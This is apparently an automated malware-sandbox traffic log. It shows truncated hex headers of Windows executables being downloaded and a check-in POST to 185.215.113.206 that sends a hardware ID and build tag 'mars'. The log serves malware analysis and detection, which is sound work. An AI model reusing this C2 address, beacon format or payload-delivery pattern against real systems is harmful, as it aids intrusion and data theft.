00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 23:11:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 23:12:03 GMTContent-Type: application/octet-streamContent-Length: 1854976Last-Modified: Thu, 21 Nov 2024 22:55:11 GMTConnection: keep-aliveETag: "673fba4f-1c4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 af 8f 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc 8c 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 8c 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6b 64 6b 61 76 6b 6c 00 30 19 00 00 60 30 00 00 2e 19 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 67 72 78 67 66 61 7a 00 10 00 00 00 90 49 00 00 06 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 2c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 34 34 46 44 31 46 46 45 44 41 34 32 39 33 36 30 35 30 34 37 36 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 2d 2d 0d 0a Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="hwid"F44FD1FFEDA42936050476------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="build"mars------GCAFCAFHJJDBFIECFBKE--
